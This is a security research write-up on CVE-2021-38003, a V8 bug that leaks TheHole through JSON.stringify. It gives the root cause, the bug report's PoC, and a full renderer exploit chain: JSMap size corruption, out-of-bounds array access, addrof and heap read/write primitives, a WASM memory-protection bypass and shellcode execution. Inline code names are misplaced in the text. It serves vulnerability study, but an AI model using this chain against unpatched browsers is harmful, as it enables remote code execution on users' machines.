Introduction
CVE-2021-38003 is a vulnerability that exists in the V8 Javascript engine. The vulnerability affects the Chrome browser before stable version , and was disclosed on October 2021 in google's chrome release blog, while the bug report was made public on February 2022.95.0.4638.69
The vulnerability will cause a special value in V8 called being leaked to the script. This can lead to a renderer RCE in a Chromium-based browser, and has been used in the wild.TheHole
In this post, I will discuss the root cause of the vulnerability and how I exploited the bug and achieved RCE on a vulnerable version of the Chromium browser.
Deep Dive into the Vulnerability
The vulnerability happens when V8 tries to handle the exception in . As mentioned in the bug report, when an exception is raised inside a built-in function, the corresponding Isolate's member is set. After that invoking code will jump into V8's exception handling machinery where the member is fetched from the active isolate and the currently active JavaScript exception handler invoked with it.JSON.stringify()``pending_exception``pending_exception
Note that when no exception is pending, the member is set to the special value , meaning if it tries to fetch an exception from an empty , it will cause the value to be leaked to the script, which is what happens in this vulnerability.pending_exception``TheHole``pending_exception``TheHole
While trying to serialize a JSON array with , V8 will have the following call path :JSON.stringify()
JsonStringifier::Stringify() ->
JsonStringifier::Serialize_() ->
JsonStringifier::SerializeJSArray() ->
JsonStringifier::SerializeArrayLikeSlow() // where the bug exist
Looking at the code in these functions, we'll see that most of the exceptions are paired with code like . For example, in :isolate_->Throw(...)``JsonStringifier::SerializeArrayLikeSlow()
// We need to write out at least two characters per array element.
static const int kMaxSerializableArrayLength = String::kMaxLength / 2;
if (length > kMaxSerializableArrayLength) {
isolate_->Throw(*isolate_->factory()->NewInvalidStringLengthError());
return EXCEPTION;
}
isolate_->Throw
will call , which will set the pending exception eventually. Later, when it , the exception will be fetched from during exception handling. Since the pending exception had been set before, the exception can be fetched without any problem.Isolate::ThrowInternal()``return EXCEPTION;``pending_exception
However, there's one case that V8 will fetch the exception without setting the pending exception first. In :JsonStringifier::SerializeArrayLikeSlow()
HandleScope handle_scope(isolate_);
for (uint32_t i = start; i < length; i++) {
Separator(i == 0);
Handle<Object> element;
ASSIGN_RETURN_ON_EXCEPTION_VALUE(
isolate_, element, JSReceiver::GetElement(isolate_, object, i),
EXCEPTION);
Result result = SerializeElement(isolate_, element, i); // [1]
if (result == SUCCESS) continue;
if (result == UNCHANGED) {
// Detect overflow sooner for large sparse arrays.
if (builder_.HasOverflowed()) return EXCEPTION; // [2]
builder_.AppendCStringLiteral("null");
} else {
return result;
}
}
During serialization ( [1] ), the code will check if there's any error during the serialization. One of the errors is having an overflow error while appending the serialized string to the result ( [2] ). If the error happens, it will raise the exception. During the call of , it'll eventually call and try to detect if there's any overflow error. can be called by one of the following functions :SerializeElement``v8::internal::IncrementalStringBuilder::Accumulate()``v8::internal::IncrementalStringBuilder::Accumulate()
v8::internal::IncrementalStringBuilder::Extend
v8::internal::IncrementalStringBuilder::Finish
If the is called by inside the function, it will try to check if has detected the overflow error. If it does, it will throw the error, pending the exception:Accumulate()``Finish()``Finish()``Accumulate()
MaybeHandle<String> IncrementalStringBuilder::Finish() {
ShrinkCurrentPart();
Accumulate(current_part());
// Here it will throw the error if it's overflowed
if (overflowed_) {
THROW_NEW_ERROR(isolate_, NewInvalidStringLengthError(), String);
}
return accumulator();
}
However, that's not the case if is called by . In it will not do any overflowed check, thus it will not pend any exception even if has detected the overflowed error. Since during , is called by , meaning that even if the overflowed error happened, the pending exception will still not be set, plus there's no before , making the pending exception totally empty. Later when it tries to fetch an exception from , it will fetch the value and pass it to script, causing the vulnerability.Accumulate()``Extend()``Extend()``Accumulate()``SerializeElement``Accumulate()``Extend()``isolate_->Throw``return EXCEPTION``pending_exception``TheHole
PoC Analysis
Here's the PoC from the bug report:
function trigger() {
let a = [], b = [];
let s = '"'.repeat(0x800000);
a[20000] = s;
for (let i = 0; i < 10; i++) a[i] = s;
for (let i = 0; i < 10; i++) b[i] = a;
try {
JSON.stringify(b);
} catch (hole) {
return hole;
}
throw new Error('could not trigger');
}
let hole = trigger();
console.log(hole);
%DebugPrint(hole);
In the function, it tries to create an array which contains long strings. So later, when it does , it will trigger the overflowed error, making it fetch the value from and return it to the script. With a statement, we can catch the exception ( ) and use it for further exploitation. We can verify the value by checking the execution result:trigger()``JSON.stringify(b);``TheHole``pending_exception``try-catch``TheHole``TheHole
> ./d8 ./poc.js --allow-natives-syntax
hole
DebugPrint: 0x19be0804242d: [Oddball] in ReadOnlySpace: #hole
0x19be08042405: [Map] in ReadOnlySpace
- type: ODDBALL_TYPE
- instance size: 28
- elements kind: HOLEY_ELEMENTS
- unused property fields: 0
- enum length: invalid
- stable_map
- non-extensible
- back pointer: 0x19be080423b5 <undefined>
- prototype_validity cell: 0
- instance descriptors (own) #0: 0x19be080421c1 <Other heap object (STRONG_DESCRIPTOR_ARRAY_TYPE)>
- prototype: 0x19be08042235 <null>
- constructor: 0x19be08042235 <null>
- dependent code: 0x19be080421b9 <Other heap object (WEAK_FIXED_ARRAY_TYPE)>
- construction counter: 0
Notice that prints out the object. This V8 internal object should never be returned to our script for further usage, yet we're still able to get the object with the vulnerability.%DebugPrint``#hole
Exploitation Process
Corrupting map size
So how can we exploit the vulnerability with a single object? Here we take the PoC from the bug report as a reference:hole
let hole = trigger(); // Get the hole value
var map = new Map();
map.set(1, 1);
map.set(hole, 1);
map.delete(hole);
map.delete(hole);
map.delete(1);
// Now map.size = -1
The snippet above will make a map's size become . It happened due to the special handling of values in JSMap. When V8 tries to delete a key-value in a map, it will run through the following code:-1``TheHole
TF_BUILTIN(MapPrototypeDelete, CollectionsBuiltinsAssembler) {
const auto receiver = Parameter<Object>(Descriptor::kReceiver);
const auto key = Parameter<Object>(Descriptor::kKey);
const auto context = Parameter<Context>(Descriptor::kContext);
ThrowIfNotInstanceType(context, receiver, JS_MAP_TYPE,
"Map.prototype.delete");
const TNode<OrderedHashMap> table =
LoadObjectField<OrderedHashMap>(CAST(receiver), JSMap::kTableOffset);
TVARIABLE(IntPtrT, entry_start_position_or_hash, IntPtrConstant(0));
Label entry_found(this), not_found(this);
TryLookupOrderedHashTableIndex<OrderedHashMap>(
table, key, &entry_start_position_or_hash, &entry_found, ¬_found);
BIND(¬_found);
Return(FalseConstant());
BIND(&entry_found);
// [1]
// If we found the entry, mark the entry as deleted.
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * OrderedHashMap::HashTableStartIndex());
StoreFixedArrayElement(table, entry_start_position_or_hash.value(),
TheHoleConstant(), UPDATE_WRITE_BARRIER,
kTaggedSize * (OrderedHashMap::HashTableStartIndex() +
OrderedHashMap::kValueOffset));
// Decrement the number of elements, and increment the number of deleted elements.
const TNode<Smi> number_of_elements = SmiSub(
CAST(LoadObjectField(table, OrderedHashMap::NumberOfElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfElementsOffset(), number_of_elements);
const TNode<Smi> number_of_deleted =
SmiAdd(CAST(LoadObjectField(
table, OrderedHashMap::NumberOfDeletedElementsOffset())),
SmiConstant(1));
StoreObjectFieldNoWriteBarrier(
table, OrderedHashMap::NumberOfDeletedElementsOffset(),
number_of_deleted);
const TNode<Smi> number_of_buckets = CAST(
LoadFixedArrayElement(table, OrderedHashMap::NumberOfBucketsIndex()));
// [2]
// If there fewer elements than #buckets / 2, shrink the table.
Label shrink(this);
GotoIf(SmiLessThan(SmiAdd(number_of_elements, number_of_elements),
number_of_buckets),
&shrink);
Return(TrueConstant());
BIND(&shrink);
CallRuntime(Runtime::kMapShrink, context, receiver);
Return(TrueConstant());
}
At [1], when it tries to delete the corresponding entry, it overwrites the key and value into . Since we have an entry , overwriting the key into won't delete that entry because the key is already. This makes us able to delete the entry multiple times, corrupting the map's size.TheHole``(hole, 1)``TheHole``TheHole``(hole, 1)
However, we notice that in the PoC, it only deletes twice, and then it deletes instead of . This is because at [2], it will try to detect if the is fewer than , and if it does, it will try to shrink the map and remove the values, making us unable to delete again. This is why we need the entry, so we can delete that to make equal .(hole, 1)``(1, 1)``(hole, 1)``element count``bucket count / 2``hole``(hole, 1)``(1, 1)``map.size``-1
So this is what actually happened in the PoC:
- Set and in the map. Now = 2, = 2.
(1, 1)``(hole, 1)``element count``bucket count
- Delete . Now = 1, = 2.
(hole, 1)``element count``bucket count
- Delete again. Now = 0, = 2. Since < , it will shrink the map and remove the values.
(hole, 1)``element count``bucket count``element count``bucket count / 2``hole
- Now there's no value in the map now, so we can't delete anymore. However, there's still in the map, so we delete that entry. This will decrease by 1, making ( = ) equals .
hole``(hole, 1)``(1, 1)``element count``element count``map.size``-1
Modifying map structure
Before we continue our exploitation, we have to understand what a map looks like in memory. The entire map structure can be illustrated into the diagram below ( taken from the amazing blog post by Andrey Pechkurov ) :

We can see that it's an array which consists of three parts:
- Header: including entry count ( element count ), deleted count and bucket count
- hashTable: It stores the indices of the buckets. Notice this table's size depends on , which is the bucket count.
header[2]
- dataTable: It stores the key, value and index of the next entry in the chain. Notice this table's size also depends on ( bucket count )
header[2]
With a little debugging, we'll know that after become , the next will let us control the value of ( bucket count ) and . If we can overwrite the bucket count, it means that we'll be able to control the size of and . By setting the bucket count to a large number, we'll make exceed its boundary. Thus, we can achieve OOB write by doing ( which will update the ). This is important since when we create a map with , the map is actually an array with fixed size ( default to ).map.size``-1``map.set()``header[2]``hashTable[0]``hashTable``dataTable``dataTable``map.set()``dataTable``var map = new Map();``0x11
So here's our plan:
- After making our map's size into , we place an array of floating number ( we'll call it ) right behind the map.
-1``oob_arr

- Next we use to control the value of and . This make us control the size of and . All we need is to set big enough so can overlap with .
map.set()``bucket count``hashTable[0]``hashTable``dataTable``bucket count``dataTable``oob_arr

- We use again to update , overwriting the structure of . Here we overwrite its length so later we can use this array to achieve OOB read/write.
map.set()``dataTable``oob_arr
Achieving OOB read/write with oob_arr
There are some details we will have to take care of in order to overwrite 's length. First, we will need to know how works. Here's a simplified pseudo code of how a map is updated:oob_arr``map.set()
hash_table_index = hashcode(key) & (bucket_count-1)
current_index = current_element_count
if hashTable[hash_table_index] == -1:
// add new key-value
// no boundary check
dataTable[current_index].key = key
dataTable[current_index].value = value
..........
else:
// update existing key-value in map
// has boundary check
During the update of a map, it will check whether the key already exists in the current map. If it does exist, it will update the existing key-value in the current map, while performing a boundary check.
Since this will fail our exploit, we'll have to avoid this code path, meaning we'll have to make sure equals to . The only hashTable entry we can control is , meaning we'll have to make sure equals to . For the function , V8 is using a well-known hash function which we can find the code online. With this code we'll be able to control the value of . Another thing to notice is that will become after we set our & , so we'll also have to make sure that is large enough so later when we update , our key will overwrite .hashTable[hash_table_index]``-1``hashTable[0]``hashcode(key) & (bucket_count-1)``0``hashcode``hashcode(key)``current_index``0``bucket count``hashTable[0]``bucket count``dataTable[0].key``oob_arr.length
To summarize, there are several values which we will need to set carefully:
bucket count
: The bucket count should be large enough so later when we update , it will overwrite .dataTable[0].key``oob_arr.length
hashTable[0]
: We'll have to set to so later when we do it will pass the statement and update .hashTable[0]``-1``map.set()``hashTable[hash_table_index] == -1``dataTable[0].key
key
: After we set and , the next will overwrite the length of . We'll have to make sure the value is large enough to achieve OOB read/write. Also we'll have to make sure that equals to .bucket count``hashTable[0]``map.set()``oob_arr``key``hashcode(key) & (bucket_count-1)``0
By examining the memory layout with the debugger, we'll know that should be set to . Then, we can write a simple C++ program to calculate the value of :bucket count``0x1c``key
#include <bits/stdc++.h>
using namespace std;
uint32_t ComputeUnseededHash(uint32_t key) {
uint32_t hash = key;
hash = ~hash + (hash << 15); // hash = (hash << 15) - hash - 1;
hash = hash ^ (hash >> 12);
hash = hash + (hash << 2);
hash = hash ^ (hash >> 4);
hash = hash * 2057; // hash = (hash + (hash << 3)) + (hash << 11);
hash = hash ^ (hash >> 16);
return hash & 0x3fffffff;
}
int main(int argc, char *argv[]) {
uint32_t i = 0;
while(i <= 0xffffffff) {
/* bucket_count is 0x1c
* hashcode(key) & (bucket_count-1) should become 0
* we'll have to find a key that is large enough to achieve OOB read/write, while matching hashcode(key) & 0x1b == 0
*/
uint32_t hash = ComputeUnseededHash(i);
if (((hash&0x1b) == 0) && (i > 0x100)) {
printf("Found: %p\n", i);
break;
}
i = (uint32_t)i+1;
}
return 0;
}
Here we found a value that fits our needs. So, after making = , we can use the following snippet to achieve OOB read/write in a float array:key``0x111``map.size``-1
// oob array. This array's size will be overwritten by map, thus can do OOB read/write
oob_arr = [1.1, 1.1, 1.1, 1.1];
// OOB write in map, overwrite oob_arr's size to 0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111
// Now oob_arr.length == 0x111
The primitiveaddrof
With OOB read/write primitive in a float array, we'll be able to achieve more stuff. One of the most important primitive in browser exploitation is the primitive, which allows us to leak the address of a Javascript object in V8. To achieve this, we place another float array ( ) and an object array ( ) behind :addrof``victim_arr``obj_arr``oob_arr

Since we can do OOB read/write in , we can control the entire structure of and , including their element's pointer. To achieve , we modify their element's pointer and make them both point to the same heap memory:oob_arr``victim_arr``obj_arr``addrof

With this, we'll have our primitive: we put our target object in and read the address from . Here is the Javascript snippet:addrof``obj_arr[0]``victim_arr[0]
oob_arr = [1.1, 1.1, 1.1, 1.1]; // oob array. This array's size will be overwritten by map, thus can do OOB read/write
victim_arr = [2.2, 2.2, 2.2, 2.2]; // victim array. This array lies within oob array, thus its member can be controlled by oob array
obj_arr = [{}, {}, {}, {}]; // object array. Used for storing the object. This array lies within oob array. Thus its member can be controlled by oob array.
// OOB write in map, overwrite oob_arr's size to 0x111
map.set(0x1c, -1); // bucket_count = 0x1c, hashTable[0] = -1
map.set(0x111, 0); // hashcode(0x111) & (bucket_count-1) == 0, overwrite oob_arr's length into 0x111
data = ftoi(oob_arr[12]); // victim_arr's element and size
ori_victim_arr_elem = data & 0xffffffffn; // get original victim_arr's element pointer
/*
* addrof primitive
* Modify the element pointer of victim_arr ( oob_arr[12] ) & obj_arr ( oob_arr[31] ), make them point to same memory
* Then put object in obj_arr[0] and read its address with victim_arr[0]
*
* @param {object} o Target object
* @return {BigInt} address of the target object
* */
function addrof(o) {
oob_arr[12] = itof((0x8n << 32n) | ori_victim_arr_elem); // set victim_arr's element pointer & size
oob_arr[31] = itof((0x8n << 32n) | ori_victim_arr_elem); // set obj_arr's element pointer & size
obj_arr[0] = o;
return ftoi(victim_arr[0]) & 0xffffffffn;
}
V8 heap arbitrary read/write primitive
Since pointer compression was introduced in V8, V8 started placing the Javascript objects on its V8 heap, a heap region that stores the object's compressed pointer (32-bit). Each time V8 wants to access the object, it will retrieve the compressed pointer on the V8 heap and adds a base value to obtain the real address of the object.
It would be useful if we could achieve arbitrary read/write on this V8 heap area. Since we now can control the element's pointer of , we can set the pointer to anywhere in the V8 heap and achieve V8 heap arbitrary read/write by accessing the content in . Notice that when 's element pointer is set to , will return the content at , so we'll have to set the pointer to if we want to read/write the content in :victim_arr``victim_arr[0]``victim_arr``addr``victim_arr[0]``addr+8``addr-8``addr
/*
* arbitrary V8 heap read primitive
* Modify the element pointer of victim_arr ( oob_arr[12] )
* Use victim_arr[0] to read 64 bit content from V8 heap
*
* @param {BigInt} addr Target V8 heap address
* @return {BigInt} 64 bit content of the target address
* */
function heap_read64(addr) {
oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
return ftoi(victim_arr[0]);
}
/*
* arbitrary V8 heap write primitive
* Use the same method in heap_read64 to modify pointer
* Then victim_arr[0] to write 64 bit content to V8 heap
*
* @param {BigInt} addr Target V8 heap address
* @param {BigInt} val Written value
* */
function heap_write64(addr, val) {
oob_arr[12] = itof((0x8n << 32n) | (addr-0x8n)); // set victim_arr's element pointer & size. Have to -8 so victim_arr[0] can points to addr
victim_arr[0] = itof(val);
}
Arbitrary write primitive
So far, we can leak the address of any Javascript object. We also can read/write any content on an arbitrary V8 heap memory address. In order to achieve RCE, all we need to be left is an arbitrary write primitive. Notice that this version of V8 doesn't have the V8 Sandbox, so it's much easier to achieve an arbitrary write in this version.
Here's how it's done:
- We create a object ( we'll call it ), and leak its address with .
DataView``dv``addrof
- We then use the primitive to leak the V8 heap address that stores the backing store pointer of .
heap_read64``dv
- Use the primitive to modify the backing store pointer of . Later we can use to achieve arbitrary write.
heap_write64``dv``dv.setUint8(index, value)
Here's the snippet:
dv = new DataView(new ArrayBuffer(0x1000)); // typed array used for arbitrary read/write
dv_addr = addrof(dv);
dv_buffer = heap_read64(dv_addr+0xcn); // dv_addr + 0xc = DataView->buffer
/*
* Set DataView's backing store pointer, so later we can use dv to achieve arbitrary read/write
* @param {BigInt} addr Target address to read/write
* */
function set_dv_backing_store(addr) {
heap_write64(dv_buffer+0x1cn, addr); // dv_buffer+0x1c == DataView->buffer->backing store pointer
}
The primitive will set the backing store pointer of to an arbitrary address for further usage.set_dv_backing_store``dv
That's all the primitives we need for executing our shellcode.
Writing and executing our shellcode
Normally the next thing we do is to create a WASM function, overwrite the WASM RWX code page with our shellcode, and then jump to our shellcode by triggering the WASM function.
However, our target browser version is Chromium ( which is the latest downloadable version of the vulnerable Chromium browser ). This version has the flag switched on, meaning it has the write-protect WASM memory. This protection will prevent an attacker from writing data directly to the WASM memory (which will cause SEGV ), even if the WASM memory pages are marked as RWX.95.0.4638.0``wasm-memory-protection-keys
Luckily, the topic has already been covered in a blog post by Man Yue Mo from GitHub Security Lab. In the blog post, he provided a way to bypass the mitigation:
- Before creating our WASM instance, overwrite the flag so the write-protect WASM memory won't be enabled.
FLAG_wasm_memory_protection_keys
- To locate the address of , we'll need the base address of the Chromium binary. This can be easily done with the help of our and primitives.
FLAG_wasm_memory_protection_keys``addrof``heap_read64
- After overwriting to , we can then create our WASM instance. The rest is the same.
FLAG_wasm_memory_protection_keys``0
So first of all, we'll need to know where is located. Using the same method mentioned in the blog post, we first leaked the base address of the Chromium binary, then calculated the address of and overwritten it to .FLAG_wasm_memory_protection_keys``FLAG_wasm_memory_protection_keys``0
// Calculate the address of FLAG_wasm_memory_protection_keys
// ref: https://securitylab.github.com/research/in_the_wild_chrome_cve_2021_37975/
oac = new OfflineAudioContext(1,4000,4000);
wrapper_type_info = heap_read64(addrof(oac)+0xcn);
chrome_base = wrapper_type_info - 0xc4a6170n;
FLAG_wasm_memory_protection_keys = chrome_base + 0xc59c7e2n;
// Overwrite FLAG_wasm_memory_protection_keys to 0
set_dv_backing_store(FLAG_wasm_memory_protection_keys); // set dv point to FLAG_wasm_memory_protection_keys
dv.setUint8(0, 0); // Overwrite the flag to 0
The offset of can be found with the help of nm:FLAG_wasm_memory_protection_keys
> nm --demangle ./chrome | grep "wasm_memory_protection_keys"
000000000c59c7e2 b v8::internal::FLAG_wasm_memory_protection_keys <--
0000000001884bc1 r v8::internal::FLAGDEFAULT_wasm_memory_protection_keys
After that, the rest is the same:
- Create a WASM instance, and leak the address of the RWX code page.
- Overwrite the RWX code page with our shellcode.
- Jump to our shellcode by triggering the WASM function.
DEMO
Here we demonstrate how we use the bug to pop in a vulnerable Chromium browser ( version , with ). The whole exploit can be found in [this link](a github link).xcalc``95.0.4638.0``--no-sandbox
Other research
We found that Numen Cyber Labs had published a similar article about how to achieve renderer RCE with value this September. In the article, they demonstrate a different method of how to overwrite an array's length with the bug:TheHole
var map1 = null;
var foo_arr = null;
function getmap(m) {
m = new Map();
m.set(1, 1);
m.set(%TheHole(), 1);
m.delete(%TheHole());
m.delete(%TheHole());
m.delete(1);
return m;
}
for (let i = 0; i < 0x3000; i++) {
map1 = getmap(map1);
foo_arr = new Array(1.1, 1.1);//1.1=3ff199999999999a
}
map1.set(0x10, -1);
gc();
map1.set(foo_arr, 0xffff);
%DebugPrint(foo_arr);
What they did was simply increase the capacity of the map, and just overwrite the target array's length with . With this method, they don't have to calculate the hashcode of the key, which is more stable and independent of chrome's/d8's version.map1.set(foo_arr, 0xffff);
The patch
The vulnerability was patched with a single line of code:
Object Isolate::pending_exception() {
+ CHECK(has_pending_exception());
DCHECK(!thread_local_top()->pending_exception_.IsException(this));
return thread_local_top()->pending_exception_;
}
The patch ensures the program won't fetch the exception if is empty.pending_exception
However, since it's still possible that value can be leaked from other vulnerabilities ( e.g. CVE-2022-1364 ), Google later submitted another patch to make sure that no one can exploit the renderer with value anymore. The patch added to make sure that the key won't be a value during its deletion in a map.TheHole``TheHole``CSA_CHECK(this, TaggedNotEqual(key, TheHoleConstant()));``TheHole
Conclusion
Personally, I find this bug to be really interesting. I didn't know that a seemingly harmless value could lead to RCE in the renderer process. Although this kind of exploit method can no longer work on the modern Chrome browser, it's still a fun experience to learn how the bug and the exploitation work.TheHole
I would like to thank Google, Andrey Pechkurov, Man Yue Mo and Numen Cyber Labs for their public posts that helped me understand the root cause of the vulnerability as well as other exploitation techniques of a Chrome browser.
<Other thanking....>
References